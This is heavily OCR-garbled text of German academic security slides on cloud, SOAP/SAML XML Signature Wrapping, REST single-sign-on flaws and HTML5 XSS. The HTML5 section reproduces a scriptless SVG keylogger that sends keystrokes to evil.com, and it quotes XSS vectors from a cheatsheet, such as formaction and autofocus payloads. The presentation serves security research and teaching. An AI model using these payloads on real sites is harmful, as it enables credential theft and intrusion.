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e Cloud Computing: Architekturtbersicht

e Amazon AWS: SOAP-, REST- und Browser-basiertes
Kontrollinterface

* SOAP: XML Signature Wrapping
— Exkurs: SAML

 REST: Schwachstellen bei Google und Facebook
e HTMLS5: XSS and Scriptless Attacks
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Cloud Computing: Architekturiibersicht

https://www.cloud.de

Starte neue VM
Speichere Daten
Berechne
Bilanzsumme

Cloud Controller, z.B.
Eucalyptus, Open

— N
N—

_—

Persistente
Datenspeicherung

N~ @

Nebula, Nimbus DHCP
DNS
VM VM
Hypervisor Hypervisor Hypervisor
Betriebssystem Betriebssystem Betriebssystem

Compute Node 1

Compute Node 2

Compute Node

3

hg1:

e o @°rst Gortz Institute B
for IT-Security B
for IT-Security B

Cloud Computing, Webservices und HTML5: Was ist noch sicher?



Cloud Computing: Architekturubersicht M

e Gute Einfihrung in laaS:

— Peter Sempolinski and Douglas Thain: A Comparison and
Critique of Eucalyptus, OpenNebula and Nimbus,
University of Notre Dame

e Schnittstelle 1 (Virtualisierung) stand bisher im Fokus
der Untersuchungen

e Wir untersuchen die wesentlich kritischere
Schnittstelle 4
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Cloud Computing: Architekturubersicht &

e NIST “Essential Characteristics” fir Cloud Computing:

e On-demand self-service

— Auch die Authentifizierung von Nutzern und der Schutz der
Daten muss im “On-demand self-service” erfolgen

* Broad network access
* Resource pooling

* Rapid elasticity

* Measured Service
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Cloud Computing: AWS erfiillt die Kriterien

[ - )
@, Amazen Web Services Sign In -
(- ) @, amazon.com | hitps://www.amazon.com/ap/signinfopenid.assec_hand 77 7 & ';.l' Google /o| 1 B = - 0

- NINp =

L amazon
"% webservices" "
Sign In or Create an AWS Account

m

ou may sign in using your existing Amazon.com account or you can create a new account by selecting "I
m a new user."

My e-mail address is:

7 Iam a new user.

@ Iam areturning user
and my password is:

ign in

Forgot your password?

Has your e-mail address changed?
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Amazon AWS: Uberblick

Web Application Interface

Amazon Elastic Amazon
A 53 A ECZ A, VRC A ROS A ENS
azan rmazan =zon MapReduce ClaudFront miazon miazon
u_ S  ———
Region: @ ryoe -
Gelting Started My Resources

EC2 Dashboard

Yaou are using the folowing R

Amaran BC2 resources in tha EU Rafrash
west [Treland) region -

Ta start using Amazon BCZ wou wil want
to launch a wrtual gsrver, NowWn as an
Tnstances Amazon ECZ instance.

* Spat Requests

Laimch Instonce O Runming Tnstamces

= AMIs . & OFBSVolumes |56 0 ERS Snapshols
e ¥ berice . the E =
Eundle Tazks west ([reland) regior B 3 Hey Pairs & 2 Securily Groups
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<Envelope>
<Header/>
<Body>

e

</Body>

</Enve lopq
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Amazon AWS und Eucalyptus: SOAP

e XML Signature Wrapping, auch fiur Eucalyptus
(private Cloud)

soap:EnveIopel

soap:Header |

Wsse:Securityl

— ds:Signhature |

— ds:SignedInfo|

|:| Processed data
Verified data

— ds:Reference |—( URI="#body" )—

—| ds:DigestValue |

— ds:Reference |—[URI=”#Timestamp"J—

- ds:DigestVvalue |

—|ds:SignatureVaIue|

—|wsse'BinarySecu rityToken|

—r{wsu: Tlmestamp[%wsu Id="Timestamp”

ﬂ wsu:Expires %2010 09-25T12:00

S

L1

oap:Body F /k wsu:ld="body” V

Monitorinstances

Z

Instanceld

L &

soap:EnveIopel
— soap:Header |
— wsse:Security'

— ds:Signature
— ds:SignedInfol

—| ds:Reference H URI="#Timestamp” J—

—|wsse:BinarySecurityTokenl

—{wsu:Timestamp I—[wsu:ld:”Ti mestamp’j
| wsu:Expires ——(2010-09-28T12:00 )

—|ds:Reference|—[ URI="#body” ]—

—rwsu:Timestamp %wsu:ldf‘ﬂmestamp"

ﬂ wsu:Expires %2010-09-25T12:00

soap:Body I_( wsu:ld="body” )

— CreateKeyPair |

—| KeyName I—(attac kerKey)

soap:Body ||///{ wsu:ld="body"

? Monitorinstances V

/ﬁ Instanceld Id
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Exkurs: SAML E
Wo wird SAML eingesetzt?

. @ L J Microsoft®
Eﬁéo&g[e Oﬁ:lce 365
\@ su%selb’

amazon # N\ | Der neue
WebserVICeS \} Personalausweis

saley‘brce
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Exkurs: SAML &
XML Signature Wrapping

e Wir konnten 11 von 14 SAML-Frameworks brechen

* B e i S p i e I : ‘ samip:Response ‘
O p e n SA M L/ 4{ samlp:Extensions ‘

o saml:Assertion H 1D=%123% ]
Shibboleth

Max Mustermann ]

ds:Signature

ds:Signedinfo

ds:Reference }—[URI=“#-123“

Verifizierte Daten

ds:DigestValue

. \erarbeitete Daten
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REST: Schwachstellen bei Google und

Facebook

Rui Wang, Shuo Chen, XiaoFeng
Wang: Signing Me onto Your
Accounts through Facebook
and Google: a Traffic-Guided
Security Study of Commercially
Deployed Single-Sign-On Web
Services. IEEE S&P 2012

REST wenig standardisiert

Artikel deckt
Sicherheitsprobleme zwischen
|dP und RP auf

BRM1:src=RP dst=http://IdP/accounts/oc8/udl
Arguments:
openid.ns [WORD] ! & openid.claimed id[UU] | &
cpenid.identity [UU] 1 &
openid.return to[URL] {RE/b/openid}l &
openid.realm[URL] {RP/b/openid} |l &
openid.assoc_handle[BLOE] | &
cpenid.cpenid.ns.extl [WORD] | &
cpenid.extl.type.email [WORD] | &
cpenid.extl.type.firstname [WORD] | &
cpenid.extl.type.lastname [WORD] | &
cpenid.extl.required [LIST] L

! [Emﬂil,firstname,lastnameﬂ

BRM2:src=IdPl dpt=http://!IdP/openid2/auth
Arguments: st [MU] [SEC] |

BRM3: src=!IdP dst=https://RP/b/openidl
Argquments: 1

openid.ns [WORD] | ‘& openid.mode [WORD] &
openid.response nbnce [BEC] &
Gpenid.return_tDZﬂRL]f &
Gpenid.assoc_handie:BLOE]L &
openid.identity [UU] & openid.claimed id[UU]l&
openid.sig[8IG] & :
openid.signed :]_IE.T“T l &
openid.opEndpoint [URL] {IdP/accountls /o8 /ud}l &
openid.extl.type.firstname [WORD] | |&
openid.extl.value.firstname [UU] &

openid.extl.type.email [WORD] | & jf;ﬂbkcmd by

openid.extl.valus.email [UU] & openid.sig
openid.extl.type.lastnams [WORD] 4
openid.extl.wvalue.lastname [U7]

Figure §: GooglelD~5martsheet trace for scenario (A)
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HTML5: XSS and Scriptless Attacks

 World Wide Web Consortium (www.w3.org) konnte sich mit
XHTML nicht durchsetzen

 Web Hypertext Application Technology Working Group
(WHATWG), gegriindet 2004, standardisiert HTML5

HTMLS

Taxonomy & Status (December 2011)

‘ W3C Recommendation

‘ Candidate Recommendation /
/ Indexed

. Non-W3C Specifications

. Deprecated W3C APIs

By Sergey Mavrody 2011 | CC Attribution-Sha

reAlike 3.0

5 & (elated fechn
. OQ/
Navigation
Timing

0)} ‘
‘ Web Open

Font

Geo

Contacts
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http://www.w3.org/
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HTML5: XSS and Scriptless Attacks

{55 TOP Pagerank List | X5Sed.com

€& 5 sssed.com/pagerank

rv e | |':!* wic xhtml

< issmul =

%S5 attacks information

ok

XSS Archive | XSS Archive W | TOP Submitters | TOP Submitters W | TOP Pagerank |

Lla Bl =

knol.google.com
www.google.com
books.google.com
groups.google.com
cruises.travel.yahoo.net
kr.dic.yahoo.com
it.meetic.yahoo.net
surveylink.yahoo.com
mtf.news.yahoo.com
tech.groups.yahoo.com
bbs.cn.yahoo.com
smap.mobile.yahoo.com
cruises.travel.yahoo.net
cf.yp.yahoo.com
order.store.yahoo.com
cache.search.yahoo.net
ca.music.yahoo.com

launchtoday.launch.yahoo.com

mv.music.yahoo.com
music.yahoo.com
www.music.vahoo.ca

Azat Harutyunyan
Black-Hacker
HacKSever
HacKSever
DaiMon
Soroush.SecProject.Com
XaDoS

The Rat
Soroush.SecProject.Com
Rohit Bansal
BugReport.ir
BugREPORT.ir
DaiMon

Nemessis

Zeitjak
kInGoFcHaOs
bugreport.ir
Bugreport.ir
BugReport.iR
BugReport.IR
UberOn
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|search O\l
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Jetzt anmelden und eigene Kreise erstellen. GOUgle"'
List of high-profiled websites vulnerable to cross-site scripting (X55) and sorted by their Alexa pagerank.
Pagerank Domain Author Fix
1 accounts.google.com longrifle0x
- books.google.com 0knOck
- www.google.com wolfmankurd
- www.google.com anjin
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HTML5: XSS and Scriptless Attacks

" e I il
O - —
- @ Quelltext von: http://htmi3sec.org/keylogger - Mozilla Firefox r
{ | http://htmlSsec.org/keylogger - - - - e — — -
J“ P grkeyiegg Datei Bearbeiten Ansicht Hilfe
€ [ htmiSsecorg/ “ | «rdoctype Atmlz I
= <h3»Ldmin Login</h3>
. ] <hrx>
Admin Login cform>
i «fieldset>
¢label>*Enter username here</label> E
3 =i L 1 L
Enter username here schwenk {11'1?1:11: name="secret"” type="username"> I
«ffieldset>
«fieldset> i
Enter p.a_qfﬂvordhm’e TIII) <label>Enter EESSWDId :".I.EIE{_.""].E.}JE].} _'
<inpot name="secret" type="password">
«ffieldset>
</ form>
<!—-—-injection--=

<gvg height="0px">

<image xmins:xlink="http://www.w3.org/1992/x1ink" xlink:href="nons">»
<zet attribnteName="xlink:href" begin="accessEevy(a)" to="//evil.com/?a" />
No. Time Source D <zet attribnteName="xlink:href" begin="accessEevy (k)" to="//evil.com/?b" />
’ <zet attribnteName="xlink:href" begin="accessEevy(c)" to="//evil.com/?c" />
20  4.815.266134.147.40.27 1 <zet attribnteName="xlink:href" begin="accessEey(d)" to="//evil.com/,?d" />
24  4.990.687192.220.74.179 1)}| <=et attribnteName="xlink:href" begin="accessKeyi(e)" to="//evil.com/?e" />
26 5.143.559134.147.40.27 1 i =Mylink"hraf" heaagin="asrrese®Wesr (FAI" tn="¢fawril ~omd 257 i
32 5.324.836192.220.74.179 1 - — -

36 5.553.898134.147.40.27 192.220.74.179 HTTP GET /?c HTTP/1.1

41 5.734.461192.220.74.179 134.147.40.27  HTTP HTTP/1.1200 OK (text/html)

43  5.940.252134.147.40.27 192.220.74.179 HTTP GET /?r HTTP/1.1

47  6.114.131192.220.74.179 134.147.40.27  HTTP HTTP/1.1 200 OK (text/html)

56 6.393.312134.147.40.27 192.220.74.179 HTTP GET /?e HTTP/1.1 :
61 6.564.836192.220.74.179 134.147.40.27 HTTP HTTP/1.1 200 OK (text/html) h g 1
64 7.293.367134.147.40.27 192.220.74.179 HTTP GET /?t HTTP/1.1

69 7.464.361192.220.74.179 134.147.40.27 HTTP HTTP/1.1200 OK (text/html) PR
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HTML5: XSS and Scriptless Attacks

TR 5 1 TaLS Security Cheatsheet

6 : : html5sec.org

HTML5 Security Cheatsheet - e I

What your browser does when yolflook away...

Vectors making use of HTNMLS5 features

XS5 via formaction - requiring user interaction (1) Ea |

Avector displaying the HTMLS form and formaction capabilities for form hijacking outside the actual form.
<form id="test" /»<button form="test" formaction="javascript:alert(1l)">X

Don't allow users to submit markup containing "form" and "formaction” attributes or transform them to bogus attributes.
Avoid "id" attributes for forms as well as submit buttons.

e, w Firefox 4.0 ﬁ = Opera 10.5 ,  Chrome 10.0
' n Dpera 10.6 ‘

= Opera 11.0
= Opera Mobile
x55 himl5 opera formaction javascript button
o http2/hwww whatwg.org/s pecs/web-apps/current-work/multipage/as sociation-of-controls-and-forms . htmi#attr-fs-formaction

Self-executing focus event via autofocus E a |

This vector uses an input element with autefocus to call its own focus event handler - no user interaction required

<input onfocus=write (l) autofocus>

User submitted markup should not contain "autofocus” attributes.

e = Firefox 4.0 0 » Opera10.5 (@3 = Safari 4.0 , = Chrome 4.0 .
= Opera 10.6 w Safari 5.0 = Chrome 5.0 s

n Chrome 6.0
= Chrome 7.0 g 1
u Chrome 8.0 -
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Fazit: Hoher Forschungs- und
Entwicklungsbedarf

Bewahrte Technologien wie Firewalls werden nutzlos
SOAP und SAML

— XML Signature Wrapping: sichere Implementierung wurde im BSI-
Projekt XSpRes entwickelt

— XML Encryption: CBC-Modus gebrochen, GCM wird neu
standardisiert

REST

— Standardisierung erforderlich

XSS und HTML5

— XSS ein ungel6dstes Problem; neuer Losungsansatz: JSAgents
— HTMLS5: Scriptless Attacks!
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